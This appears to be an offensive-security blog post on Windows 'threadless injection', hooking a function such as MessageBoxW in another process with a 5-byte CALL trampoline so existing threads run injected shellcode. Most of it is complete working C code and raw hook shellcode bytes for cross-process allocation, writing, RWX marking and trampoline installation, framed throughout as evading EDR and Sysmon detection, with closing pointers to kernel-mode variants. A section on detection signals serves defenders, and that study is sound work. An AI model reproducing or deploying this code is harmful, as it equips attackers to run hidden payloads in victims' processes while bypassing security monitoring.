Threadless injection: process execution without creating a thread
Most injection techniques covered so far create a thread. CreateRemoteThread does it directly. Early Bird APC queues work to a new thread before it runs. For those, PsSetCreateThreadNotifyRoutine fires, Sysmon Event 8 fires, and the EDR gets a snapshot of the new thread and its start address before a single instruction executes. QueueUserAPC is the exception: it injects into an existing alertable thread. No thread is created, so PsSetCreateThreadNotifyRoutine does not fire for that technique.
Threadless injection doesn’t create a thread. It installs a 5-byte trampoline on a function and waits. The next time any existing thread in the target calls that function, the CPU redirects to the shellcode. The shellcode runs in that thread’s context, restores the original function bytes, then jumps to the function to let the caller continue normally. No thread creation event. No Event 8. The execution happens inside a thread that was already there.
The mechanism
A 5-byte relative CALL (0xE8 + rel32) overwrites the first 5 bytes of the target function. rel32 is a signed 32-bit offset from the instruction after the CALL, so the shellcode must be within ±2 GB of the target function. This is the central constraint. You can’t just VirtualAllocEx anywhere.
Most targets hook MessageBoxW in user32.dll or something similar. On a 64-bit system those DLLs load in the upper part of the user-mode address space, typically around 0x7ff8xxxxxxxx. You need to allocate shellcode within ±2 GB of that, which means you can’t use NULL as the hint to VirtualAllocEx. You have to search for a MEM_FREE region close enough.
The restore shellcode structure (the thing you put in the memory hole) looks like this conceptually:
[hook_shellcode: 63 bytes]
pop rbx ; rbx = return address (= address of trampoline CALL + 5)
sub rbx, 5 ; rbx = address of the hooked function
push rbx/rcx/rdx/r9/r8/r11/r10 ; save caller's registers
mov rcx, <orig_qword> ; load original 8 bytes (patched at inject time)
mov [rbx], rcx ; restore 8 bytes (atomic if naturally 8-byte aligned, typical for function prologues)
sub rsp, 0x40 ; shadow space + alignment
call <payload_offset> ; call the actual payload (follows immediately)
add rsp, 0x40
pop r10/r11/r8/r9/rdx/rcx/rbx ; restore
jmp rbx ; jump to now-restored function
[payload bytes follow]The pop rbx at the start is how it knows which function was hooked: the x64 CALL instruction pushes the return address on the stack, which is trampoline_addr + 5, the first byte after the CALL, which is also the start of the hooked function (since the CALL overwrites the first 5 bytes). Subtract 5 to get back to the function base.
The write at [rbx] restores the 8 original bytes before the payload executes. This means the function is repaired before the payload runs, which avoids a race if another thread calls the same function during payload execution.
Memory hole search
The allocator needs to find MEM_FREE space within ±2 GB of the target function. The approach: walk VirtualQuery results in both directions from the target VA.
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define SEARCH_RANGE 0x70000000ULL /* stay well within ±2 GB */
#define ALLOC_ALIGN 0x10000ULL /* VirtualAllocEx granularity */
/*
* FindMemoryHole -- finds a MEM_FREE region within ±2 GB of funcAddr.
*
* Searches downward first (lower VA noise), then upward if nothing found.
* The caller gets a committed RW allocation of at least minSize bytes.
*
* Returns the allocation base on success, NULL on failure.
*/
static PVOID FindMemoryHole(HANDLE hProcess, ULONG_PTR funcAddr, SIZE_T minSize)
{
MEMORY_BASIC_INFORMATION mbi = {0};
ULONG_PTR lo = (funcAddr > SEARCH_RANGE) ? (funcAddr - SEARCH_RANGE) : 0x10000ULL;
ULONG_PTR hi = funcAddr + SEARCH_RANGE;
/* Round lo down to allocation granularity */
lo &= ~(ALLOC_ALIGN - 1);
/*
* Pass 1: search downward from funcAddr.
* Walking backward: start just below funcAddr, step by ALLOC_ALIGN.
*/
ULONG_PTR addr = (funcAddr & ~(ALLOC_ALIGN - 1));
while (addr >= lo)
{
if (VirtualQueryEx(hProcess, (LPCVOID)addr, &mbi, sizeof(mbi)) == 0)
{
if (addr < ALLOC_ALIGN) break;
addr -= ALLOC_ALIGN;
continue;
}
if (mbi.State == MEM_FREE && mbi.RegionSize >= minSize)
{
/* Align the hint upward to granularity within this free region */
ULONG_PTR hint = ((ULONG_PTR)mbi.BaseAddress + ALLOC_ALIGN - 1)
& ~(ALLOC_ALIGN - 1);
PVOID result = VirtualAllocEx(hProcess, (PVOID)hint,
minSize, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (result)
return result;
}
if ((ULONG_PTR)mbi.BaseAddress < ALLOC_ALIGN) break;
addr = (ULONG_PTR)mbi.BaseAddress - ALLOC_ALIGN;
}
/*
* Pass 2: search upward from funcAddr.
*/
addr = (funcAddr + ALLOC_ALIGN) & ~(ALLOC_ALIGN - 1);
while (addr < hi)
{
if (VirtualQueryEx(hProcess, (LPCVOID)addr, &mbi, sizeof(mbi)) == 0)
{
addr += ALLOC_ALIGN;
continue;
}
if (mbi.State == MEM_FREE && mbi.RegionSize >= minSize)
{
ULONG_PTR hint = ((ULONG_PTR)mbi.BaseAddress + ALLOC_ALIGN - 1)
& ~(ALLOC_ALIGN - 1);
PVOID result = VirtualAllocEx(hProcess, (PVOID)hint,
minSize, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (result)
return result;
}
addr = (ULONG_PTR)mbi.BaseAddress + (ULONG_PTR)mbi.RegionSize;
}
return NULL;
}VirtualAllocEx with a hint respects the hint if the region is free. If another thread races and claims it between the VirtualQueryEx and VirtualAllocEx, the call fails and the loop tries the next candidate. The downward pass runs first because lower-VA holes tend to be in less-scrutinized address space (high VA near DLL ranges is where scanners look for suspicious allocations).
Writing the payload
Once you have the hole, write the hook shellcode followed immediately by the payload bytes:
/*
* WriteHolePayload -- writes hook shellcode + payload into the memory hole,
* then marks the region PAGE_EXECUTE_READWRITE.
*
* hookSc : the 63-byte restore shellcode (pre-patched with original bytes)
* hookScSize : sizeof(hookSc) -- 63
* payload : actual shellcode to execute
* payloadSize : length of payload
*/
static BOOL WriteHolePayload(HANDLE hProcess, PVOID hole,
PBYTE hookSc, SIZE_T hookScSize,
PBYTE payload, SIZE_T payloadSize)
{
SIZE_T written = 0;
/* Write hook shellcode at base of hole */
if (!WriteProcessMemory(hProcess, hole,
hookSc, hookScSize, &written)
|| written != hookScSize)
{
fprintf(stderr, "[!] WriteProcessMemory (hook sc): %lu\n", GetLastError());
return FALSE;
}
/* Write payload immediately after */
PVOID payloadDst = (PBYTE)hole + hookScSize;
if (!WriteProcessMemory(hProcess, payloadDst,
payload, payloadSize, &written)
|| written != payloadSize)
{
fprintf(stderr, "[!] WriteProcessMemory (payload): %lu\n", GetLastError());
return FALSE;
}
/* Mark region executable so the hijacked thread can run it */
DWORD old = 0;
SIZE_T total = hookScSize + payloadSize;
if (!VirtualProtectEx(hProcess, hole, total, PAGE_EXECUTE_READWRITE, &old))
{
fprintf(stderr, "[!] VirtualProtectEx (RWX): %lu\n", GetLastError());
return FALSE;
}
return TRUE;
}The region starts as PAGE_READWRITE from FindMemoryHole. This write doesn’t need the region executable yet. Flipping to PAGE_EXECUTE_READWRITE after writing is cleaner: if the write fails, you never created an executable region.
Trampoline installation
The last step overwrites the first 5 bytes of the target function with E8 <rel32>. The offset is: (ULONG_PTR)holeBase - ((ULONG_PTR)funcAddr + 5). When holeBase is below funcAddr (downward allocation, the common case), this unsigned subtraction wraps to a large positive value; cast or truncate to INT32 to get the correct two’s-complement signed offset. The result must fall in [-2^31, 2^31-1], which it will if the hole is within ±2 GB.
/*
* InstallTrampoline -- patches the first 5 bytes of funcAddr with a
* relative CALL to holeBase.
*
* The function body must be made writable before the write and restored
* afterward. Leaving PAGE_EXECUTE_READWRITE on a MEM_IMAGE page is a
* detection signal; we restore PAGE_EXECUTE_READ after the patch.
*/
static BOOL InstallTrampoline(HANDLE hProcess, PVOID funcAddr, PVOID holeBase)
{
DWORD old = 0;
BYTE patch[5];
SIZE_T written = 0;
/*
* rel32 = destination - (source + 5)
* When holeBase < funcAddr the unsigned subtraction wraps;
* INT32 truncation gives the correct two's-complement signed offset.
*/
INT32 rel = (INT32)(((ULONG_PTR)funcAddr + 5) - (ULONG_PTR)holeBase);
patch[0] = 0xE8;
patch[1] = (BYTE)( rel & 0xFF);
patch[2] = (BYTE)((rel >> 8) & 0xFF);
patch[3] = (BYTE)((rel >> 16) & 0xFF);
patch[4] = (BYTE)((rel >> 24) & 0xFF);
if (!VirtualProtectEx(hProcess, funcAddr, 5, PAGE_READWRITE, &old))
return FALSE;
WriteProcessMemory(hProcess, funcAddr, patch, 5, &written);
VirtualProtectEx(hProcess, funcAddr, 5, PAGE_EXECUTE_READ, &old);
return written == 5;
}The restore protection matters. PAGE_EXECUTE_READWRITE on a MEM_IMAGE page is louder than PAGE_EXECUTE_READ with modified bytes. Function stomping has the same problem: every protection change on an image-backed page is visible to NtProtectVirtualMemory callbacks. The function stomping post covers the detection implications in detail.
Putting it together
/*
* ResolveLocalExport -- resolve an exported function VA in the current process.
* Works because system DLLs load at the same base in all processes on the same
* boot (shared section, single image mapping). Safe for user32.dll, ntdll.dll, etc.
*/
static PVOID ResolveLocalExport(LPCSTR dllName, LPCSTR funcName)
{
HMODULE hMod = LoadLibraryA(dllName);
if (!hMod) return NULL;
return (PVOID)(ULONG_PTR)GetProcAddress(hMod, funcName);
}
/*
* PatchHookShellcode -- copies the first 8 bytes of funcAddr into the
* placeholder slot at offset 22 of the hook shellcode.
*
* The hook shellcode contains a mov rcx, <placeholder> at that offset.
* The shellcode will mov [rbx], rcx to restore the original bytes after
* the calling thread lands in it.
*/
static void PatchHookShellcode(PBYTE hookSc, PVOID funcAddr)
{
ULONGLONG origBytes;
memcpy(&origBytes, funcAddr, sizeof(origBytes));
memcpy(hookSc + 22, &origBytes, sizeof(origBytes));
}
/*
* Hook shellcode (63 bytes).
*
* Layout (x64, no external dependencies):
* pop rbx -- rbx = CALL return addr = hooked fn + 5
* sub rbx, 4; sub rbx,1 -- rbx = hooked fn base
* push rbx/rcx/rdx/r9/r8/r11/r10
* mov rcx, <orig_qword> -- patched by PatchHookShellcode
* mov [rbx], rcx -- restore 8 original bytes
* sub rsp, 0x20 (x2) -- shadow space + alignment (0x40 total)
* call +0x11 -- call payload (follows this shellcode)
* add rsp, 0x40
* pop r10/r11/r8/r9/rdx/rcx/rbx
* jmp rbx -- jump to now-restored function
*
* Bytes 22..29 are the placeholder for original function bytes.
*/
static BYTE g_HookShellcode[63] = {
0x5B, 0x48, 0x83, 0xEB, 0x04, 0x48, 0x83, 0xEB, 0x01, 0x53, 0x51,
0x52, 0x41, 0x51, 0x41, 0x50, 0x41, 0x53, 0x41, 0x52, 0x48, 0xB9,
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0x48, 0x89, 0x0B,
0x48, 0x83, 0xEC, 0x20, 0x48, 0x83, 0xEC, 0x20, 0xE8, 0x11, 0x00,
0x00, 0x00, 0x48, 0x83, 0xC4, 0x40, 0x41, 0x5A, 0x41, 0x5B, 0x41,
0x58, 0x41, 0x59, 0x5A, 0x59, 0x5B, 0xFF, 0xE3
};
int ThreadlessInject(DWORD targetPid,
LPCSTR targetDll, LPCSTR targetFunc,
PBYTE payload, SIZE_T payloadSize)
{
/* Resolve target function VA locally -- valid for system DLLs */
PVOID funcAddr = ResolveLocalExport(targetDll, targetFunc);
if (!funcAddr)
{
fprintf(stderr, "[!] ResolveLocalExport %s!%s failed\n", targetDll, targetFunc);
return 1;
}
printf("[*] %s!%s -> %p\n", targetDll, targetFunc, funcAddr);
HANDLE hProcess = OpenProcess(
PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
PROCESS_QUERY_INFORMATION,
FALSE, targetPid);
if (!hProcess)
{
fprintf(stderr, "[!] OpenProcess: %lu\n", GetLastError());
return 1;
}
/* Patch hook shellcode with original bytes before allocating anything */
BYTE hookSc[sizeof(g_HookShellcode)];
memcpy(hookSc, g_HookShellcode, sizeof(hookSc));
PatchHookShellcode(hookSc, funcAddr);
SIZE_T totalSize = sizeof(hookSc) + payloadSize;
/* Find a MEM_FREE region within ±2 GB of the target function */
PVOID hole = FindMemoryHole(hProcess, (ULONG_PTR)funcAddr, totalSize);
if (!hole)
{
fprintf(stderr, "[!] No memory hole found within ±2 GB of %p\n", funcAddr);
CloseHandle(hProcess);
return 1;
}
printf("[*] Memory hole: %p (dist: 0x%llx bytes)\n",
hole,
(ULONG_PTR)funcAddr > (ULONG_PTR)hole
? (ULONG_PTR)funcAddr - (ULONG_PTR)hole
: (ULONG_PTR)hole - (ULONG_PTR)funcAddr);
/* Write hook shellcode + payload into the hole, mark RWX */
if (!WriteHolePayload(hProcess, hole,
hookSc, sizeof(hookSc),
payload, payloadSize))
{
VirtualFreeEx(hProcess, hole, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
printf("[*] Shellcode written to hole\n");
/* Install 5-byte CALL trampoline on target function */
if (!InstallTrampoline(hProcess, funcAddr, hole))
{
fprintf(stderr, "[!] InstallTrampoline failed\n");
VirtualFreeEx(hProcess, hole, 0, MEM_RELEASE);
CloseHandle(hProcess);
return 1;
}
printf("[*] Trampoline installed at %p\n", funcAddr);
printf("[*] Waiting for %s!%s to be called in PID %lu...\n",
targetDll, targetFunc, targetPid);
CloseHandle(hProcess);
return 0;
}
int main(void)
{
/*
* Demo: show memory hole search and distance calculation.
* No payload is written; InstallTrampoline is stubbed out.
*
* Run against a real target PID to exercise the full path.
*/
PVOID msgboxW = ResolveLocalExport("user32.dll", "MessageBoxW");
if (!msgboxW)
{
fprintf(stderr, "[!] user32.dll not loaded\n");
return 1;
}
printf("[*] user32!MessageBoxW: %p\n", msgboxW);
/* Open own process to demonstrate the hole search */
HANDLE hSelf = OpenProcess(
PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
PROCESS_QUERY_INFORMATION,
FALSE, GetCurrentProcessId());
if (!hSelf)
{
fprintf(stderr, "[!] OpenProcess self: %lu\n", GetLastError());
return 1;
}
/* Search for a 4096-byte hole near MessageBoxW */
PVOID hole = FindMemoryHole(hSelf, (ULONG_PTR)msgboxW, 4096);
if (!hole)
{
printf("[!] No memory hole found (unlikely in practice)\n");
CloseHandle(hSelf);
return 1;
}
ULONG_PTR dist = (ULONG_PTR)msgboxW > (ULONG_PTR)hole
? (ULONG_PTR)msgboxW - (ULONG_PTR)hole
: (ULONG_PTR)hole - (ULONG_PTR)msgboxW;
printf("[*] Found hole: %p\n", hole);
printf("[*] Distance from MessageBoxW: 0x%llx bytes (%.1f MB)\n",
(unsigned long long)dist,
(double)dist / (1024.0 * 1024.0));
/* Verify the rel32 would fit in 32 bits (must be < 2 GB) */
if (dist < 0x80000000ULL)
printf("[*] rel32 fits: CALL trampoline viable\n");
else
printf("[!] rel32 overflow: hole too far, search wider range\n");
VirtualFreeEx(hSelf, hole, 0, MEM_RELEASE);
CloseHandle(hSelf);
return 0;
}Memory layout
Why no thread creation event
PsSetCreateThreadNotifyRoutine fires when the kernel creates a thread object: NtCreateThreadEx, CreateRemoteThread, RtlCreateUserThread. None of those happen here. The shellcode runs inside a thread that already existed in the target’s thread list. The kernel never calls the notification callbacks, Sysmon never sees Event 8, and the EDR’s thread creation hook has nothing to inspect.
The thread start address that EDRs check at thread creation? There’s no creation event to attach it to. The thread was started by the target process itself for legitimate purposes. It calls MessageBoxW (or whatever function was hooked), the CPU redirects, the shellcode runs, and the thread continues as if nothing happened.
Detection surface
No thread creation event doesn’t mean no event. The technique still produces:
VirtualAllocEx in the target. ETW’s Microsoft-Windows-Kernel-Memory provider fires on every cross-process allocation. The allocation is small (hook shellcode + payload, a few KB), it’s in an address range near user32.dll, and it’s eventually marked executable. That combination is a reasonable anomaly signal.
WriteProcessMemory into the allocation. Standard WPM event, same as every other injection technique. The destination is not image-backed, so it’s slightly less conspicuous than writing into a MEM_IMAGE page (which is what function stomping does), but it’s still visible. MapViewOfFile2 injection removes this event by mapping a shared section directly into the target instead of writing across process boundaries.
WriteProcessMemory or NtProtectVirtualMemory on user32.dll. Installing the trampoline requires writing 5 bytes into MessageBoxW. That’s WriteProcessMemory to a MEM_IMAGE page, plus a VirtualProtectEx to make it writable first. This is the same detection signal as function stomping: a protection change on an image-backed page is unusual.
Memory integrity scanning. Any scanner that reads MessageBoxW’s bytes and compares them against the on-disk image sees the modified 5 bytes. After the hook fires and the shellcode restores the bytes, the function looks normal again. But there’s a window. And if the process terminates while the trampoline is in place, forensic tools find modified DLL bytes.
Sysmon comparison. Classic CreateRemoteThread injection: Events 8 + 10. Function stomping with remote thread: Events 8 + 10. Threadless injection: Event 10 only (OpenProcess for the handle). No Event 8. That’s the win, and it’s a real win against detection rules that require Event 8.
The arms race from here
Function stomping and threadless injection share the same detection surface for the trampoline write: VirtualProtectEx on a MEM_IMAGE page, WriteProcessMemory to a code page. The allocation is slightly different (private vs. image-backed), but both generate the same ETW events.
The logical evolution: combine both techniques with a kernel code cave. Put the shellcode in padding bytes of a signed driver (no VirtualAllocEx, no new allocation event). Install the trampoline from kernel mode (no WriteProcessMemory, no VirtualProtectEx events in user-mode ETW). The code caves post covers finding and writing into driver padding. The kernel-mode write uses the MDL remapping trick from the same post, which bypasses page write protection without generating the user-mode telemetry that EDRs watch.
At that point the detection surface shrinks to: the shellcode’s own behaviour (API calls, network connections, process creation) and the MDL remap event in kernel ETW. Whether the kernel ETW pipeline is monitored depends on the deployment. Many aren’t.